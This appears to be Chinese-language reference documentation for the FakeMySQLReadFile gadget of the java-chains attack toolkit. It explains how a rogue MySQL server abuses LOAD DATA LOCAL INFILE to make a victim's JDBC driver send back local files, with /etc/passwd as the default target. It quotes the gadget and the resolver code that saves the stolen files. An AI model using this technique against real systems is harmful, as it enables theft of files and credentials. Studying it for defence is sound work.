- 类别:mysql 别名:— 优先级:—
- 作者:4ra1n
- 依赖:无(java-chains 自身不引入依赖;利用面在受害方的 MySQL JDBC 驱动,需
allowLoadLocalInfile/allowUrlInLocalInfile等特性可用)
在「恶意 MySQL 服务端(Fake MySQL Server)」利用模型中充当参数载荷 gadget:它本身不构造任何 Java 对象,只是把用户配置的「待读取文件路径」(如 /etc/passwd)作为一个 String 交给上层的 Fake MySQL Payload。当受害方以可控 JDBC URL 连接这台伪造的 MySQL 服务端时,服务端借助 MySQL 协议中的 LOCAL INFILE 请求,诱导客户端把该路径对应的本地文件内容回传给攻击者,实现任意文件读取。
- 入口
tags:FakeMySQLRead、ENDFakeMySQLRead—— 声明本 gadget 产出的是「Fake MySQL 读取/SSRF」模式所需的字符串载荷,被FakeMySQLReadPayload(@PayloadAnnotation(gadgetTags={"FakeMySQLRead"}))识别并消费。END—— 本 gadget 是链尾,invoke直接返回终值,不再向内包装任何下游对象。
- 衔接
nextTags:无 —— 作为链尾,不衔接后续 gadget。 excludes:无。
本类实现极简,全部逻辑就是返回一个字符串:
@GadgetTags(tags={"FakeMySQLRead", "END"})
@GadgetAnnotation(name="FakeMySQL 读取文件", authors={"4ra1n"})
public class FakeMySQLReadFile implements Gadget {
@Param(name="读取的文件路径", description="eg: /etc/passwd")
public String targetFilePath = "/etc/passwd";
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.targetFilePath; // 不调用 chain.doCreate,直接返回路径字符串
}
}注意 invoke 里没有 chain.doCreate(context) 调用——这与模板中「由内向外包装」的经典 gadget 不同:FakeMySQLReadFile 是纯参数提供者,真正的协议交互不在这个类里完成,而在 Fake MySQL 服务端的 Resolver 中。
真正干活的是 ReadFileResolver。它拿到本 gadget 返回的 fileOrUrl(即 targetFilePath),构造一个 MySQL LOCAL INFILE 请求包发给客户端:
File file = new File(this.fileOrUrl);
String shortName = file.getName();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
bao.write(-5); // 0xFB = LOCAL INFILE 请求标志
bao.write(this.fileOrUrl.getBytes()); // 要客户端上交的文件路径
this.outputStream.write(PacketHelper.buildPacket(1, bao.toByteArray()));0xFB 是 MySQL 协议里服务端向客户端发起 LOAD DATA LOCAL INFILE 的包头字节。客户端(受害方 JDBC 驱动)收到后,会读取本机 fileOrUrl 指定的文件并按包回传。服务端随后在循环里逐包接收文件内容,写入本地 fake-server-files/<时间戳>/<文件名> 目录:
Path dir = Paths.get("fake-server-files");
Files.createDirectories(dir);
Path finalDir = Paths.get(dir.toFile().getAbsolutePath(), current); // current = System.currentTimeMillis()
finalFile = Paths.get(..., current, shortName);
...
while ((bytesRead = this.inputStream.read(buffer)) != -1) {
// 解析 3 字节小端长度头,读取对应长度的载荷并落盘
fos.write(inner, 0, innerRead);
}读取结束后回一个 OK 包(PacketHelper.buildPacket(2, Resp.OK))收尾。因此被窃取的文件内容最终落在 java-chains 运行目录下的 fake-server-files/ 文件夹(该点在 FakeMySQLReadPayload 的描述中亦有说明)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
targetFilePath |
读取的文件路径 | 诱导客户端回传的目标文件绝对路径,eg /etc/passwd |
/etc/passwd |
任意路径字符串 |
- 该 gadget 无
description,要点来自其对应 PayloadFakeMySQLReadPayload的说明:最新版 MySQL JDBC 即使设置allowUrlInLocalInfile=true仍可被此姿势利用,前提是 JDBC URL 完全可控(可指向攻击者的伪造 MySQL 服务端)。 - 本质是 MySQL
LOCAL INFILE客户端信任问题:客户端默认在服务端要求时会上交本地文件,攻击者只要控制「服务端」即可任意读文件。 - 文件读取结果写入 java-chains 当前目录
fake-server-files/<时间戳>/下,便于攻击者取回。 - 与 SSRF 变体(FakeMySQLSSRF)共用同一
FakeMySQLRead标签与同一ReadFileResolver处理逻辑,区别仅在于传入的是文件路径还是 URL。
- ReadFile 链(
steps = [FakeMySQLReadFile],单 gadget 链,直接由 Fake MySQL 读文件 Payload 驱动)
- 同族/同标签:FakeMySQLSSRF(同为
FakeMySQLRead载荷,读 URL 而非文件) - 相关但不同利用面:FakeMySQLPipeFile(同为 Fake MySQL 服务端家族,但走
autoDeserialize反序列化 RCE 路线,产出协议字节流而非纯字符串) - 上层 Payload:
FakeMySQLReadPayload(gadgetTags={"FakeMySQLRead"},mode="Fake MySQL")